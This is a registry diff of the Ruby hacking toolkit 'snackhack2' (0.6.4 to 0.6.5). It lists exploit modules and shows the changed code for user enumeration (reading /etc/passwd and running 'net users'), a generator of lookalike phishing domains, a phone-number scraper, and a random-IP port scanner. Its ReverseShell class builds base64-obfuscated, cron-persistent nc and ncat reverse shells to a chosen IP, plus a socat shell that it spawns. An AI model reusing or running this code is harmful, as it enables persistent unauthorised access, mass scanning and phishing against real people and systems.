snackhack2 0.6.4 → 0.6.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/snackhack2/CVE-2017-9841.rb +77 -0
- data/lib/snackhack2/Honeywell_PM43.rb +25 -27
- data/lib/snackhack2/WP_Symposium.rb +22 -22
- data/lib/snackhack2/bannergrabber.rb +82 -82
- data/lib/snackhack2/bypass_403.rb +68 -66
- data/lib/snackhack2/comments.rb +29 -27
- data/lib/snackhack2/cryptoextractor.rb +64 -64
- data/lib/snackhack2/dns.rb +99 -0
- data/lib/snackhack2/drupal.rb +47 -49
- data/lib/snackhack2/emails.rb +31 -35
- data/lib/snackhack2/forward_remote.rb +26 -24
- data/lib/snackhack2/google_analytics.rb +30 -28
- data/lib/snackhack2/indirect_command_injection.rb +34 -32
- data/lib/snackhack2/iplookup.rb +52 -45
- data/lib/snackhack2/list_users.rb +34 -31
- data/lib/snackhack2/phishing_tlds.rb +197 -0
- data/lib/snackhack2/phone_number.rb +53 -56
- data/lib/snackhack2/portscan.rb +72 -73
- data/lib/snackhack2/reverse_shell.rb +32 -31
- data/lib/snackhack2/robots.rb +80 -81
- data/lib/snackhack2/screenshots.rb +25 -23
- data/lib/snackhack2/sitemap.rb +24 -22
- data/lib/snackhack2/ssrf.rb +7 -6
- data/lib/snackhack2/subdomains.rb +68 -68
- data/lib/snackhack2/subdomains2.rb +41 -43
- data/lib/snackhack2/tomcat.rb +23 -21
- data/lib/snackhack2/version.rb +1 -1
- data/lib/snackhack2/webserver_log_cleaner.rb +28 -27
- data/lib/snackhack2/website_links.rb +28 -28
- data/lib/snackhack2/website_meta.rb +33 -20
- data/lib/snackhack2/wordpress.rb +120 -128
- data/lib/snackhack2/wpForo_Forum.rb +23 -22
- data/lib/snackhack2.rb +84 -81
- metadata +23 -20
@@ -1,31 +1,34 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module Snackhack2
|
4
|
+
class ListUsers
|
5
|
+
attr_accessor :user
|
6
|
+
|
7
|
+
def initialize(user)
|
8
|
+
@user = user
|
9
|
+
end
|
10
|
+
|
11
|
+
def linux
|
12
|
+
`cat /etc/passwd`.split("\n").each do |l|
|
13
|
+
puts l.split(':')[0]
|
14
|
+
end
|
15
|
+
end
|
16
|
+
|
17
|
+
def windows
|
18
|
+
puts `net users`
|
19
|
+
end
|
20
|
+
|
21
|
+
def windows_search_user
|
22
|
+
puts `net user #{@user}`
|
23
|
+
end
|
24
|
+
|
25
|
+
def auto
|
26
|
+
os = RUBY_PLATFORM
|
27
|
+
if os.match?('linux')
|
28
|
+
linux
|
29
|
+
elsif os.match?('mingw') || os.match?(/mswin|msys|mingw|cygwin|bccwin|wince|emc/)
|
30
|
+
windows
|
31
|
+
end
|
32
|
+
end
|
33
|
+
end
|
34
|
+
end
|
@@ -0,0 +1,197 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module Snackhack2
|
4
|
+
class PhishingData
|
5
|
+
def domains
|
6
|
+
[
|
7
|
+
".com",
|
8
|
+
".co",
|
9
|
+
".us",
|
10
|
+
".net",
|
11
|
+
".org",
|
12
|
+
".help",
|
13
|
+
".app",
|
14
|
+
".blog",
|
15
|
+
".info",
|
16
|
+
".biz",
|
17
|
+
".store",
|
18
|
+
".shop",
|
19
|
+
".tech",
|
20
|
+
".tv",
|
21
|
+
".photos",
|
22
|
+
".fitness",
|
23
|
+
".fun",
|
24
|
+
".space",
|
25
|
+
".solutions",
|
26
|
+
".email",
|
27
|
+
".studio",
|
28
|
+
".top",
|
29
|
+
".land",
|
30
|
+
".live",
|
31
|
+
".me",
|
32
|
+
".website",
|
33
|
+
".design",
|
34
|
+
".digital",
|
35
|
+
".world",
|
36
|
+
".gifts",
|
37
|
+
".love",
|
38
|
+
".art",
|
39
|
+
".holiday",
|
40
|
+
".london",
|
41
|
+
".tokyo",
|
42
|
+
".tips",
|
43
|
+
".rocks",
|
44
|
+
".work"
|
45
|
+
]
|
46
|
+
end
|
47
|
+
private :domains
|
48
|
+
end
|
49
|
+
class PhishingTlds < PhishingData
|
50
|
+
attr_reader :site
|
51
|
+
def initialize
|
52
|
+
@site = site
|
53
|
+
end
|
54
|
+
def domain_split
|
55
|
+
# This method splits up the value block_given
|
56
|
+
# given in @site by the period. Which is used
|
57
|
+
# by 'remove_tlds' method to remove the TLDs
|
58
|
+
@site.split(".")
|
59
|
+
end
|
60
|
+
def site=(s)
|
61
|
+
@site = s
|
62
|
+
end
|
63
|
+
def remove_tlds
|
64
|
+
# this method function is to remove
|
65
|
+
# the TLDs from the @site. For Example
|
66
|
+
# it will remove .org, .com
|
67
|
+
|
68
|
+
ds = domain_split
|
69
|
+
|
70
|
+
# remove ".com" (last element in array)
|
71
|
+
ds.pop
|
72
|
+
|
73
|
+
# returns the domain w/o the tlds
|
74
|
+
ds
|
75
|
+
end
|
76
|
+
def check_domains(array: true)
|
77
|
+
# The function of this method is to
|
78
|
+
# check if the given domains are valid or not.
|
79
|
+
# By valid I mean resolvable and active.
|
80
|
+
|
81
|
+
|
82
|
+
# if domains is set to true, this array will hold the domains
|
83
|
+
domains_out = []
|
84
|
+
|
85
|
+
# build the list of domains
|
86
|
+
generated_tlds = change_tld
|
87
|
+
|
88
|
+
valid_domains = []
|
89
|
+
not_valid_domains = []
|
90
|
+
|
91
|
+
generated_tlds.each do |domain|
|
92
|
+
# if array is true; add the domains to array
|
93
|
+
if array
|
94
|
+
domains_out << domain
|
95
|
+
else
|
96
|
+
# if array is false print out the domains
|
97
|
+
puts domain
|
98
|
+
end
|
99
|
+
domains_out if array
|
100
|
+
end
|
101
|
+
end
|
102
|
+
def remove_letters(array_out: true)
|
103
|
+
# This method will remove letters that
|
104
|
+
# occur more than once. For example:
|
105
|
+
# google.com would become goggle.com
|
106
|
+
|
107
|
+
# store the letter count in a hash.
|
108
|
+
letter_count = {}
|
109
|
+
|
110
|
+
ds = remove_tlds
|
111
|
+
|
112
|
+
# Creates an array with each character being
|
113
|
+
# stored in a element. It will loop through the array
|
114
|
+
# and figure out the number of occurrences for each character
|
115
|
+
ds.shift.split(//).each do |letter|
|
116
|
+
if letter_count.has_key?(letter)
|
117
|
+
letter_count[letter] += 1
|
118
|
+
else
|
119
|
+
letter_count[letter] = 1
|
120
|
+
end
|
121
|
+
end
|
122
|
+
|
123
|
+
# After it creates the hash with the character and
|
124
|
+
# the number of time it cocures. This method
|
125
|
+
# will loop through the hash and check to see
|
126
|
+
# if the value is greater than 1. If it is then the key ( the letter)
|
127
|
+
# is added to the array named 'letters_with_more_than_one'
|
128
|
+
letters_with_more_than_one = []
|
129
|
+
letter_count.each do |key, value|
|
130
|
+
if value > 1
|
131
|
+
letters_with_more_than_one << key
|
132
|
+
end
|
133
|
+
end
|
134
|
+
|
135
|
+
|
136
|
+
ds = remove_tlds
|
137
|
+
new_ds = ds.shift
|
138
|
+
|
139
|
+
# the final array with the duplicates letters removed
|
140
|
+
remove_lettters_out = []
|
141
|
+
|
142
|
+
# Loops through the 'letters_with_more_than_one'
|
143
|
+
# array and uses 'sub' to remove the occurence
|
144
|
+
# of one of the letters
|
145
|
+
letters_with_more_than_one.each do |l|
|
146
|
+
remove_lettters_out << new_ds.sub(l, "")
|
147
|
+
end
|
148
|
+
|
149
|
+
if array_out
|
150
|
+
remove_lettters_out
|
151
|
+
else
|
152
|
+
# will print the contents of the array
|
153
|
+
# instead of returning the array
|
154
|
+
remove_lettters_out.each { |a| puts a }
|
155
|
+
end
|
156
|
+
end
|
157
|
+
def change_tld(no_tld: true)
|
158
|
+
# This method will take the inputted site in @site and
|
159
|
+
# remove the TLDs and add a new TLDs to the domain.
|
160
|
+
# its uses the 'domain' method in the PhishingData class
|
161
|
+
# which has an array of a bunch of different tlds.
|
162
|
+
|
163
|
+
|
164
|
+
# if the @site does not have a tlds
|
165
|
+
if no_tld
|
166
|
+
new_domains = []
|
167
|
+
# loop through the tlds
|
168
|
+
domains.each do |d|
|
169
|
+
# combine the inputed @site
|
170
|
+
# and the tlds
|
171
|
+
new_domains << "#{@site}#{d}"
|
172
|
+
end
|
173
|
+
new_domains
|
174
|
+
else
|
175
|
+
# If the @site does have a TLDs.
|
176
|
+
|
177
|
+
# this is where the final results
|
178
|
+
# are stored.
|
179
|
+
list_of_domains = []
|
180
|
+
|
181
|
+
# removes .com, .org, etc
|
182
|
+
ds = remove_tlds
|
183
|
+
|
184
|
+
# join the elements together
|
185
|
+
ds = ds.join(".")
|
186
|
+
|
187
|
+
# loops through the tlds
|
188
|
+
domains.each do |tlds|
|
189
|
+
# adds the new domains to the array
|
190
|
+
list_of_domains << ds + tlds
|
191
|
+
end
|
192
|
+
list_of_domains
|
193
|
+
end
|
194
|
+
end
|
195
|
+
private :remove_tlds, :domain_split
|
196
|
+
end
|
197
|
+
end
|
@@ -1,56 +1,53 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
def run
|
17
|
-
numbers = []
|
18
|
-
http = Snackhack2
|
19
|
-
if http.code == 200
|
20
|
-
regex = http.body
|
21
|
-
phone = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
|
22
|
-
out = phone.map { |n| n[0] }.compact
|
23
|
-
numbers << out
|
24
|
-
else
|
25
|
-
puts "[+] Status code: #{http.code}"
|
26
|
-
end
|
27
|
-
if
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
body
|
40
|
-
|
41
|
-
pn
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
end
|
55
|
-
end
|
56
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'httparty'
|
4
|
+
require 'spidr'
|
5
|
+
module Snackhack2
|
6
|
+
class PhoneNumber
|
7
|
+
attr_accessor :save_file, :site
|
8
|
+
|
9
|
+
def initialize(save_file: true)
|
10
|
+
@site = site
|
11
|
+
@save_file = save_file
|
12
|
+
end
|
13
|
+
|
14
|
+
attr_reader :save_file
|
15
|
+
|
16
|
+
def run
|
17
|
+
numbers = []
|
18
|
+
http = Snackhack2.get(@site)
|
19
|
+
if http.code == 200
|
20
|
+
regex = http.body
|
21
|
+
phone = regex.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
|
22
|
+
out = phone.map { |n| n[0] }.compact
|
23
|
+
numbers << out
|
24
|
+
else
|
25
|
+
puts "\n\n[+] Status code: #{http.code}"
|
26
|
+
end
|
27
|
+
return if numbers.empty?
|
28
|
+
return unless @save_file
|
29
|
+
|
30
|
+
URI.parse(@site).host
|
31
|
+
Snackhack2.file_save(@site, 'phone_numbers', numbers.join("\n"))
|
32
|
+
end
|
33
|
+
|
34
|
+
def spider
|
35
|
+
phone_numbers = []
|
36
|
+
Spidr.start_at(@site, max_depth: 4) do |agent|
|
37
|
+
agent.every_page do |page|
|
38
|
+
body = page.to_s
|
39
|
+
if body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)
|
40
|
+
pn = body.scan(/((\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4})/)[0]
|
41
|
+
unless pn.nil?
|
42
|
+
pn = pn.compact.reject { |i| i.to_s.nil? }.shift
|
43
|
+
phone_numbers << pn unless phone_numbers.include?(pn.to_s)
|
44
|
+
end
|
45
|
+
end
|
46
|
+
end
|
47
|
+
end
|
48
|
+
return if phone_numbers.empty?
|
49
|
+
|
50
|
+
Snackhack2.file_save(@site, 'phonenumbers', phone_numbers.join("\n")) if @save_file
|
51
|
+
end
|
52
|
+
end
|
53
|
+
end
|
data/lib/snackhack2/portscan.rb
CHANGED
@@ -1,73 +1,72 @@
|
|
1
|
-
# frozen_string_literal: true
|
2
|
-
|
3
|
-
module Snackhack2
|
4
|
-
class PortScan
|
5
|
-
attr_accessor :display, :ip, :delete, :count
|
6
|
-
|
7
|
-
def initialize(display: true, delete: false, count: 10)
|
8
|
-
@ip = ip
|
9
|
-
@display = display
|
10
|
-
@delete = delete
|
11
|
-
@count = count
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
ports
|
18
|
-
threads.
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
tcp
|
25
|
-
tcp.
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
files
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
s
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
module Snackhack2
|
4
|
+
class PortScan
|
5
|
+
attr_accessor :display, :ip, :delete, :count
|
6
|
+
|
7
|
+
def initialize(display: true, delete: false, count: 10, terminal_output: false)
|
8
|
+
@ip = ip
|
9
|
+
@display = display
|
10
|
+
@delete = delete
|
11
|
+
@count = count
|
12
|
+
@terminal_output = terminal_output
|
13
|
+
end
|
14
|
+
|
15
|
+
def run
|
16
|
+
threads = []
|
17
|
+
ports = [*1..1000]
|
18
|
+
ports.each { |i| threads << Thread.new { tcp(i) } }
|
19
|
+
threads.each(&:join)
|
20
|
+
end
|
21
|
+
|
22
|
+
def mass_scan
|
23
|
+
generate_ips.each do |ips|
|
24
|
+
tcp = PortScan.new
|
25
|
+
tcp.ip = ips
|
26
|
+
tcp.run
|
27
|
+
end
|
28
|
+
end
|
29
|
+
|
30
|
+
def generate_ips
|
31
|
+
ips = []
|
32
|
+
@count.to_i.times do |_c|
|
33
|
+
ips << Array.new(4) { rand(256) }.join('.')
|
34
|
+
end
|
35
|
+
ips
|
36
|
+
end
|
37
|
+
|
38
|
+
def ports_extractor(port)
|
39
|
+
ip = []
|
40
|
+
files = Dir['*_port_scan.txt']
|
41
|
+
files.each do |f|
|
42
|
+
r = File.read(f)
|
43
|
+
ip << f.split('_')[0] if r.include?(port)
|
44
|
+
File.delete(f) if delete
|
45
|
+
end
|
46
|
+
File.open("#{port}_scan.txt", 'w+') { |file| file.write(ip.join("\n")) }
|
47
|
+
end
|
48
|
+
|
49
|
+
def tcp(i)
|
50
|
+
ip = @ip
|
51
|
+
open_ports = []
|
52
|
+
begin
|
53
|
+
Timeout.timeout(1) do
|
54
|
+
s = TCPSocket.new(@ip, i)
|
55
|
+
s.close
|
56
|
+
open_ports << i
|
57
|
+
rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH, Errno::ENETUNREACH
|
58
|
+
return false
|
59
|
+
end
|
60
|
+
rescue Timeout::Error
|
61
|
+
end
|
62
|
+
return if open_ports.empty?
|
63
|
+
|
64
|
+
return unless @display
|
65
|
+
|
66
|
+
open_ports.each do |port|
|
67
|
+
puts "#{ip} - #{port} is open\n"
|
68
|
+
end
|
69
|
+
File.open("#{ip}_port_scan.txt", 'a') { |file| file.write("#{open_ports.shift}\n") }
|
70
|
+
end
|
71
|
+
end
|
72
|
+
end
|
@@ -1,31 +1,32 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
end
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
3
|
+
require 'base64'
|
4
|
+
module Snackhack2
|
5
|
+
class ReverseShell
|
6
|
+
attr_accessor :ip, :port
|
7
|
+
|
8
|
+
def initialize()
|
9
|
+
@ip = ip
|
10
|
+
@port = port
|
11
|
+
end
|
12
|
+
|
13
|
+
def nc
|
14
|
+
c = %{#!/bin/bash
|
15
|
+
line="* * * * * nc -e /bin/sh #{@ip} #{@port}"
|
16
|
+
(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
|
17
|
+
puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
|
18
|
+
end
|
19
|
+
|
20
|
+
def ncat
|
21
|
+
c = %{#!/bin/bash
|
22
|
+
line="* * * * * ncat #{@ip} #{@port} -e /bin/bash"
|
23
|
+
(crontab -u $(whoami) -l; echo "$line" ) | crontab -u $(whoami) -}
|
24
|
+
puts "echo -n '#{Base64.encode64(c)}' | base64 -d >> t.sh; bash t.sh; rm t.sh;".delete!("\n")
|
25
|
+
end
|
26
|
+
|
27
|
+
def bash
|
28
|
+
c = %(bash.exe -c "socat tcp-connect:#{@ip}:#{@port} exec:sh,pty,stderr,setsid,sigint,sane")
|
29
|
+
Process.spawn(c)
|
30
|
+
end
|
31
|
+
end
|
32
|
+
end
|